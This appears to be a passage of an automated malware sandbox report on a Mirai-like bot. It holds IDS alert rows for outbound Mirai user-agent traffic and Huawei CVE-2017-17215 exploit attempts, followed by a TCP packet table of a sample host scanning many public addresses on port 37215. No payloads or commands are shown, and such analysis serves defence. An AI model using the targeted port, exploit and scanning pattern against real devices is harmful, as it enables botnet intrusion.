2024-10-29T20:52:47.627785+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46624	95.23.233.114	80	TCP
2024-10-29T20:52:47.647682+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45994	95.186.207.103	80	TCP
2024-10-29T20:52:47.671263+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47968	95.53.92.98	80	TCP
2024-10-29T20:52:47.672690+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49192	95.184.210.191	80	TCP
2024-10-29T20:52:47.692072+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60624	95.243.39.217	80	TCP
2024-10-29T20:52:47.694672+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43068	95.212.159.79	80	TCP
2024-10-29T20:52:47.696815+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36196	95.59.190.183	80	TCP
2024-10-29T20:52:47.737362+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55936	95.136.186.232	80	TCP
2024-10-29T20:52:47.747915+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43722	197.22.18.13	37215	TCP
2024-10-29T20:52:47.749317+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57220	197.125.166.82	37215	TCP
2024-10-29T20:52:47.876047+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59104	41.142.40.183	37215	TCP
2024-10-29T20:52:47.876910+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36198	197.154.48.66	37215	TCP
2024-10-29T20:52:47.878555+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48156	197.186.244.5	37215	TCP
2024-10-29T20:52:47.892730+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48656	197.74.194.72	37215	TCP
2024-10-29T20:52:47.927868+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34946	197.203.107.151	37215	TCP
2024-10-29T20:52:47.930985+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40220	197.24.63.62	37215	TCP
2024-10-29T20:52:47.940516+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43810	197.244.69.115	37215	TCP
2024-10-29T20:52:47.941552+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56454	197.203.244.146	37215	TCP
2024-10-29T20:52:47.942693+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55790	197.117.170.246	37215	TCP
2024-10-29T20:52:47.948882+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33336	41.181.190.177	37215	TCP
2024-10-29T20:52:47.964045+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45558	197.55.81.16	37215	TCP
2024-10-29T20:52:48.565113+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36986	95.2.21.213	80	TCP
2024-10-29T20:52:48.565417+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53194	95.192.3.156	80	TCP
2024-10-29T20:52:48.569489+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41366	95.127.127.127	80	TCP
2024-10-29T20:52:48.570295+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60300	95.172.75.255	80	TCP
2024-10-29T20:52:48.570514+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57316	95.106.58.190	80	TCP
2024-10-29T20:52:48.571287+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39006	95.126.222.62	80	TCP
2024-10-29T20:52:48.571477+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52208	95.185.127.243	80	TCP
2024-10-29T20:52:48.572125+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33372	95.112.181.195	80	TCP
2024-10-29T20:52:48.572448+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53766	95.233.58.100	80	TCP
2024-10-29T20:52:48.572460+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51972	95.4.208.126	80	TCP
2024-10-29T20:52:48.593945+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34272	95.5.24.82	80	TCP
2024-10-29T20:52:48.594968+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51178	95.183.176.62	80	TCP
2024-10-29T20:52:48.598404+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41538	95.77.220.247	80	TCP
2024-10-29T20:52:48.614978+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50492	95.86.195.249	80	TCP
2024-10-29T20:52:48.620938+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46438	95.155.246.174	80	TCP
2024-10-29T20:52:48.689078+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44074	95.132.107.245	80	TCP
2024-10-29T20:52:48.689106+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56710	95.203.198.136	80	TCP
2024-10-29T20:52:48.700882+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38458	95.253.138.188	80	TCP
2024-10-29T20:52:49.185715+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48348	95.105.197.139	80	TCP
2024-10-29T20:52:49.499176+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41118	41.92.16.166	37215	TCP
2024-10-29T20:52:49.607530+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56306	88.246.28.47	80	TCP
2024-10-29T20:52:49.608838+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39876	88.116.29.139	80	TCP
2024-10-29T20:52:49.616591+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55982	88.181.26.182	80	TCP
2024-10-29T20:52:49.680786+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37524	197.27.2.81	37215	TCP
2024-10-29T20:52:49.688876+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51948	197.210.62.153	37215	TCP
2024-10-29T20:52:49.712031+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42716	88.25.200.113	80	TCP
2024-10-29T20:52:49.762981+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45436	197.162.232.23	37215	TCP
2024-10-29T20:52:49.794683+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36904	197.174.79.45	37215	TCP
2024-10-29T20:52:49.808121+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58466	197.141.38.251	37215	TCP
2024-10-29T20:52:49.824113+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59574	197.254.241.184	37215	TCP
2024-10-29T20:52:49.825025+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55622	197.40.215.134	37215	TCP
2024-10-29T20:52:49.834734+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58888	197.82.38.233	37215	TCP
2024-10-29T20:52:49.915147+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59384	197.172.55.26	37215	TCP
2024-10-29T20:52:49.926305+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50442	197.90.162.172	37215	TCP
2024-10-29T20:52:49.931699+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59620	197.169.143.192	37215	TCP
2024-10-29T20:52:49.931911+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43644	197.101.145.76	37215	TCP
2024-10-29T20:52:49.950297+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33016	197.20.157.126	37215	TCP
2024-10-29T20:52:49.956764+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40180	197.44.48.43	37215	TCP
2024-10-29T20:52:49.957461+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59926	197.150.216.3	37215	TCP
2024-10-29T20:52:49.957780+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53868	197.179.219.102	37215	TCP
2024-10-29T20:52:49.966946+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44124	197.189.116.196	37215	TCP
2024-10-29T20:52:50.604894+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41000	95.113.141.135	80	TCP
2024-10-29T20:52:50.628184+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44870	95.83.180.131	80	TCP
2024-10-29T20:52:50.633735+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46898	88.90.108.220	80	TCP
2024-10-29T20:52:50.681504+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53968	88.11.75.71	80	TCP
2024-10-29T20:52:50.685024+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50276	95.59.25.147	80	TCP
2024-10-29T20:52:50.694372+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55154	95.48.146.171	80	TCP
2024-10-29T20:52:50.700018+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41764	197.130.131.177	37215	TCP
2024-10-29T20:52:50.720785+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	45886	157.83.65.179	37215	TCP
2024-10-29T20:52:50.733825+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53814	95.73.87.5	80	TCP
2024-10-29T20:52:50.734373+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59840	95.242.171.152	80	TCP
2024-10-29T20:52:50.743816+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54460	88.46.204.142	80	TCP
2024-10-29T20:52:51.869911+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44602	88.236.234.118	80	TCP
2024-10-29T20:52:51.907513+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57404	95.214.120.205	80	TCP
2024-10-29T20:52:52.719443+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57834	88.145.148.7	80	TCP
2024-10-29T20:52:52.719696+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44242	41.178.199.67	37215	TCP
2024-10-29T20:52:53.237962+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50024	95.250.117.74	80	TCP
2024-10-29T20:52:53.644066+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51800	88.71.160.208	80	TCP
2024-10-29T20:52:53.677210+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52568	112.91.31.112	80	TCP
2024-10-29T20:52:53.678594+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39562	112.82.188.198	80	TCP
2024-10-29T20:52:54.211191+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45900	95.42.250.50	80	TCP
2024-10-29T20:52:55.786622+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49634	157.83.163.120	37215	TCP
2024-10-29T20:52:56.702708+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49906	88.72.85.90	80	TCP
2024-10-29T20:52:56.703190+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53160	112.205.2.56	80	TCP
2024-10-29T20:52:56.712836+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53312	88.4.46.115	80	TCP
2024-10-29T20:52:56.716834+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38210	112.63.12.253	80	TCP
2024-10-29T20:52:56.719996+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56168	95.175.72.47	80	TCP
2024-10-29T20:52:56.745580+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51574	95.166.102.208	80	TCP
2024-10-29T20:52:57.021715+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35198	88.151.253.50	80	TCP
2024-10-29T20:52:57.972100+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44292	88.218.248.10	80	TCP
2024-10-29T20:52:58.036189+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39894	95.96.88.71	80	TCP
2024-10-29T20:52:58.816979+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54588	197.208.174.58	37215	TCP
2024-10-29T20:52:58.820695+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54184	197.166.54.236	37215	TCP
2024-10-29T20:52:59.725025+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42290	88.221.112.20	80	TCP
2024-10-29T20:52:59.748699+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49538	95.197.25.27	80	TCP
2024-10-29T20:52:59.794717+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60432	41.246.205.74	37215	TCP
2024-10-29T20:52:59.814688+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52226	197.158.61.133	37215	TCP
2024-10-29T20:52:59.815509+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35852	197.210.6.143	37215	TCP
2024-10-29T20:52:59.820298+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59918	197.38.38.224	37215	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 20:52:37.998285055 CET	56342	37215	192.168.2.13	197.247.176.62
Oct 29, 2024 20:52:37.998291969 CET	56342	37215	192.168.2.13	197.62.222.62
Oct 29, 2024 20:52:37.998312950 CET	56342	37215	192.168.2.13	197.64.21.215
Oct 29, 2024 20:52:37.998342037 CET	56342	37215	192.168.2.13	197.139.43.111
Oct 29, 2024 20:52:37.998387098 CET	56342	37215	192.168.2.13	197.95.90.227
Oct 29, 2024 20:52:37.998394012 CET	56342	37215	192.168.2.13	197.212.208.236
Oct 29, 2024 20:52:37.998410940 CET	56342	37215	192.168.2.13	197.50.181.193
Oct 29, 2024 20:52:37.998424053 CET	56342	37215	192.168.2.13	197.137.202.39
Oct 29, 2024 20:52:37.998445034 CET	56342	37215	192.168.2.13	197.188.162.153
Oct 29, 2024 20:52:37.998460054 CET	56342	37215	192.168.2.13	197.130.35.34
Oct 29, 2024 20:52:37.998476028 CET	56342	37215	192.168.2.13	197.227.102.38
Oct 29, 2024 20:52:37.998491049 CET	56342	37215	192.168.2.13	197.176.33.243
Oct 29, 2024 20:52:37.998507977 CET	56342	37215	192.168.2.13	197.157.75.10
Oct 29, 2024 20:52:37.998532057 CET	56342	37215	192.168.2.13	197.72.212.69
Oct 29, 2024 20:52:37.998543024 CET	56342	37215	192.168.2.13	197.67.34.25
Oct 29, 2024 20:52:37.998574018 CET	56342	37215	192.168.2.13	197.103.124.224
Oct 29, 2024 20:52:37.998574972 CET	56342	37215	192.168.2.13	197.20.141.51
Oct 29, 2024 20:52:37.998636007 CET	56342	37215	192.168.2.13	197.27.2.81
Oct 29, 2024 20:52:37.998657942 CET	56342	37215	192.168.2.13	197.20.183.134
Oct 29, 2024 20:52:37.998666048 CET	56342	37215	192.168.2.13	197.58.85.58
Oct 29, 2024 20:52:37.998673916 CET	56342	37215	192.168.2.13	197.125.60.143
Oct 29, 2024 20:52:37.998696089 CET	56342	37215	192.168.2.13	197.78.100.78
Oct 29, 2024 20:52:37.998696089 CET	56342	37215	192.168.2.13	197.193.82.48
Oct 29, 2024 20:52:37.998714924 CET	56342	37215	192.168.2.13	197.61.144.176
Oct 29, 2024 20:52:37.998763084 CET	56342	37215	192.168.2.13	197.75.251.41
Oct 29, 2024 20:52:37.998790026 CET	56342	37215	192.168.2.13	197.36.244.219
Oct 29, 2024 20:52:37.998796940 CET	56342	37215	192.168.2.13	197.238.217.234
Oct 29, 2024 20:52:37.998804092 CET	56342	37215	192.168.2.13	197.153.19.143
Oct 29, 2024 20:52:37.998819113 CET	56342	37215	192.168.2.13	197.62.242.98
Oct 29, 2024 20:52:37.998836040 CET	56342	37215	192.168.2.13	197.162.232.23
Oct 29, 2024 20:52:37.998859882 CET	56342	37215	192.168.2.13	197.22.18.13
Oct 29, 2024 20:52:37.998872042 CET	56342	37215	192.168.2.13	197.119.27.79
Oct 29, 2024 20:52:37.998893023 CET	56342	37215	192.168.2.13	197.174.79.45
Oct 29, 2024 20:52:37.998929024 CET	56342	37215	192.168.2.13	197.84.98.117
Oct 29, 2024 20:52:37.998943090 CET	56342	37215	192.168.2.13	197.15.109.5
Oct 29, 2024 20:52:37.998943090 CET	56342	37215	192.168.2.13	197.104.205.72
Oct 29, 2024 20:52:37.998965025 CET	56342	37215	192.168.2.13	197.125.166.82
Oct 29, 2024 20:52:37.998982906 CET	56342	37215	192.168.2.13	197.232.133.202
Oct 29, 2024 20:52:38.000838995 CET	56342	37215	192.168.2.13	197.175.180.229
Oct 29, 2024 20:52:38.000858068 CET	56342	37215	192.168.2.13	197.141.38.251
Oct 29, 2024 20:52:38.000941992 CET	56342	37215	192.168.2.13	197.222.40.41
Oct 29, 2024 20:52:38.000942945 CET	56342	37215	192.168.2.13	197.44.169.8
Oct 29, 2024 20:52:38.000956059 CET	56342	37215	192.168.2.13	197.94.208.161
Oct 29, 2024 20:52:38.000956059 CET	56342	37215	192.168.2.13	197.48.29.21
Oct 29, 2024 20:52:38.000956059 CET	56342	37215	192.168.2.13	197.72.103.105
Oct 29, 2024 20:52:38.001020908 CET	56342	37215	192.168.2.13	197.63.101.72
Oct 29, 2024 20:52:38.001070976 CET	56342	37215	192.168.2.13	197.161.223.8
Oct 29, 2024 20:52:38.001085043 CET	56342	37215	192.168.2.13	197.174.58.204
Oct 29, 2024 20:52:38.001092911 CET	56342	37215	192.168.2.13	197.254.241.184
Oct 29, 2024 20:52:38.001108885 CET	56342	37215	192.168.2.13	197.40.215.134
Oct 29, 2024 20:52:38.001354933 CET	56342	37215	192.168.2.13	197.82.38.233
Oct 29, 2024 20:52:38.001379967 CET	56342	37215	192.168.2.13	197.224.114.42
Oct 29, 2024 20:52:38.001485109 CET	56342	37215	192.168.2.13	197.250.165.168
Oct 29, 2024 20:52:38.001491070 CET	56342	37215	192.168.2.13	197.154.91.203
Oct 29, 2024 20:52:38.001513004 CET	56342	37215	192.168.2.13	197.134.32.72
Oct 29, 2024 20:52:38.001518011 CET	56342	37215	192.168.2.13	197.84.161.177
Oct 29, 2024 20:52:38.001539946 CET	56342	37215	192.168.2.13	197.186.206.62
Oct 29, 2024 20:52:38.001576900 CET	56342	37215	192.168.2.13	197.197.68.118
Oct 29, 2024 20:52:38.001631975 CET	56342	37215	192.168.2.13	197.183.11.72
Oct 29, 2024 20:52:38.001633883 CET	56342	37215	192.168.2.13	197.206.189.198
Oct 29, 2024 20:52:38.001671076 CET	56342	37215	192.168.2.13	197.253.150.43
Oct 29, 2024 20:52:38.001806974 CET	56342	37215	192.168.2.13	197.143.247.239
Oct 29, 2024 20:52:38.001831055 CET	56342	37215	192.168.2.13	197.21.53.53
Oct 29, 2024 20:52:38.001864910 CET	56342	37215	192.168.2.13	197.93.148.232
Oct 29, 2024 20:52:38.001894951 CET	56342	37215	192.168.2.13	197.189.215.204
Oct 29, 2024 20:52:38.001909018 CET	56342	37215	192.168.2.13	197.245.250.35
Oct 29, 2024 20:52:38.001991034 CET	56342	37215	192.168.2.13	197.2.190.187
Oct 29, 2024 20:52:38.001993895 CET	56342	37215	192.168.2.13	197.5.132.46
Oct 29, 2024 20:52:38.001996994 CET	56342	37215	192.168.2.13	197.140.16.32
Oct 29, 2024 20:52:38.002012014 CET	56342	37215	192.168.2.13	197.33.166.216
Oct 29, 2024 20:52:38.002016068 CET	56342	37215	192.168.2.13	197.123.48.178
Oct 29, 2024 20:52:38.002016068 CET	56342	37215	192.168.2.13	197.71.165.242
Oct 29, 2024 20:52:38.002057076 CET	56342	37215	192.168.2.13	197.67.160.172
Oct 29, 2024 20:52:38.002073050 CET	56342	37215	192.168.2.13	197.185.158.42
Oct 29, 2024 20:52:38.002073050 CET	56342	37215	192.168.2.13	197.145.122.216
Oct 29, 2024 20:52:38.002115011 CET	56342	37215	192.168.2.13	197.163.239.204
Oct 29, 2024 20:52:38.002116919 CET	56342	37215	192.168.2.13	197.171.251.64
Oct 29, 2024 20:52:38.002116919 CET	56342	37215	192.168.2.13	197.61.227.3
Oct 29, 2024 20:52:38.002187967 CET	56342	37215	192.168.2.13	197.147.130.149
Oct 29, 2024 20:52:38.002202034 CET	56342	37215	192.168.2.13	197.88.150.253
Oct 29, 2024 20:52:38.002412081 CET	56342	37215	192.168.2.13	197.64.43.119
Oct 29, 2024 20:52:38.002479076 CET	56342	37215	192.168.2.13	197.154.48.66
Oct 29, 2024 20:52:38.002489090 CET	56342	37215	192.168.2.13	197.172.55.26
Oct 29, 2024 20:52:38.002506971 CET	56342	37215	192.168.2.13	197.114.13.166
Oct 29, 2024 20:52:38.002516985 CET	56342	37215	192.168.2.13	197.125.41.102
Oct 29, 2024 20:52:38.002552986 CET	56342	37215	192.168.2.13	197.149.94.181
Oct 29, 2024 20:52:38.002609968 CET	56342	37215	192.168.2.13	197.90.162.172
Oct 29, 2024 20:52:38.002613068 CET	56342	37215	192.168.2.13	197.105.13.224
Oct 29, 2024 20:52:38.002619982 CET	56342	37215	192.168.2.13	197.23.56.133
Oct 29, 2024 20:52:38.002649069 CET	56342	37215	192.168.2.13	197.66.98.156
Oct 29, 2024 20:52:38.003077984 CET	56342	37215	192.168.2.13	197.26.246.13
Oct 29, 2024 20:52:38.003078938 CET	56342	37215	192.168.2.13	197.100.167.241
Oct 29, 2024 20:52:38.003082037 CET	56342	37215	192.168.2.13	197.247.6.61
Oct 29, 2024 20:52:38.003106117 CET	56342	37215	192.168.2.13	197.234.179.44
Oct 29, 2024 20:52:38.003110886 CET	56342	37215	192.168.2.13	197.3.51.113
Oct 29, 2024 20:52:38.003120899 CET	56342	37215	192.168.2.13	197.131.116.90
Oct 29, 2024 20:52:38.003124952 CET	56342	37215	192.168.2.13	197.70.245.231
Oct 29, 2024 20:52:38.003608942 CET	56342	37215	192.168.2.13	197.148.49.164
Oct 29, 2024 20:52:38.003624916 CET	56342	37215	192.168.2.13	197.128.243.234
Oct 29, 2024 20:52:38.003652096 CET	56342	37215	192.168.2.13	197.1.115.138
Oct 29, 2024 20:52:38.003686905 CET	56342	37215	192.168.2.13	197.34.245.164
Oct 29, 2024 20:52:38.003732920 CET	56342	37215	192.168.2.13	197.237.156.86
Oct 29, 2024 20:52:38.003774881 CET	56342	37215	192.168.2.13	197.22.128.238
Oct 29, 2024 20:52:38.003778934 CET	56342	37215	192.168.2.13	197.69.142.211
Oct 29, 2024 20:52:38.003788948 CET	56342	37215	192.168.2.13	197.96.10.152
Oct 29, 2024 20:52:38.003793955 CET	56342	37215	192.168.2.13	197.175.186.91
Oct 29, 2024 20:52:38.003823042 CET	56342	37215	192.168.2.13	197.190.182.202
Oct 29, 2024 20:52:38.003861904 CET	56342	37215	192.168.2.13	197.186.244.5
Oct 29, 2024 20:52:38.003880024 CET	56342	37215	192.168.2.13	197.139.97.23
Oct 29, 2024 20:52:38.003925085 CET	56342	37215	192.168.2.13	197.74.194.72
Oct 29, 2024 20:52:38.003951073 CET	56342	37215	192.168.2.13	197.79.36.199
Oct 29, 2024 20:52:38.003981113 CET	56342	37215	192.168.2.13	197.157.230.243
Oct 29, 2024 20:52:38.004134893 CET	56342	37215	192.168.2.13	197.169.143.192
Oct 29, 2024 20:52:38.004148960 CET	56342	37215	192.168.2.13	197.101.145.76
Oct 29, 2024 20:52:38.004232883 CET	56342	37215	192.168.2.13	197.213.247.174
Oct 29, 2024 20:52:38.004236937 CET	56342	37215	192.168.2.13	197.20.157.126
Oct 29, 2024 20:52:38.004252911 CET	56342	37215	192.168.2.13	197.170.191.14
Oct 29, 2024 20:52:38.004285097 CET	56342	37215	192.168.2.13	197.245.57.241
Oct 29, 2024 20:52:38.004328966 CET	56342	37215	192.168.2.13	197.226.32.137
Oct 29, 2024 20:52:38.004386902 CET	56342	37215	192.168.2.13	197.163.85.203
Oct 29, 2024 20:52:38.004389048 CET	56342	37215	192.168.2.13	197.244.69.115
Oct 29, 2024 20:52:38.004420042 CET	56342	37215	192.168.2.13	197.24.63.62
Oct 29, 2024 20:52:38.004420042 CET	56342	37215	192.168.2.13	197.203.107.151
Oct 29, 2024 20:52:38.004798889 CET	37215	56342	197.247.176.62	192.168.2.13
Oct 29, 2024 20:52:38.004813910 CET	37215	56342	197.62.222.62	192.168.2.13
Oct 29, 2024 20:52:38.004825115 CET	37215	56342	197.139.43.111	192.168.2.13
Oct 29, 2024 20:52:38.004846096 CET	37215	56342	197.212.208.236	192.168.2.13
Oct 29, 2024 20:52:38.004857063 CET	37215	56342	197.64.21.215	192.168.2.13
Oct 29, 2024 20:52:38.004861116 CET	56342	37215	192.168.2.13	197.247.176.62
Oct 29, 2024 20:52:38.004879951 CET	37215	56342	197.95.90.227	192.168.2.13
Oct 29, 2024 20:52:38.004885912 CET	56342	37215	192.168.2.13	197.62.222.62
Oct 29, 2024 20:52:38.004897118 CET	37215	56342	197.137.202.39	192.168.2.13
Oct 29, 2024 20:52:38.004910946 CET	37215	56342	197.50.181.193	192.168.2.13
Oct 29, 2024 20:52:38.004923105 CET	37215	56342	197.188.162.153	192.168.2.13
Oct 29, 2024 20:52:38.004933119 CET	37215	56342	197.130.35.34	192.168.2.13
Oct 29, 2024 20:52:38.004935980 CET	56342	37215	192.168.2.13	197.212.208.236
Oct 29, 2024 20:52:38.004947901 CET	56342	37215	192.168.2.13	197.139.43.111
Oct 29, 2024 20:52:38.004950047 CET	56342	37215	192.168.2.13	197.64.21.215
Oct 29, 2024 20:52:38.004951954 CET	37215	56342	197.227.102.38	192.168.2.13
Oct 29, 2024 20:52:38.004961014 CET	56342	37215	192.168.2.13	197.137.202.39
Oct 29, 2024 20:52:38.004960060 CET	56342	37215	192.168.2.13	197.95.90.227
Oct 29, 2024 20:52:38.004966021 CET	56342	37215	192.168.2.13	197.130.35.34
Oct 29, 2024 20:52:38.004966021 CET	56342	37215	192.168.2.13	197.50.181.193
Oct 29, 2024 20:52:38.004960060 CET	56342	37215	192.168.2.13	197.188.162.153
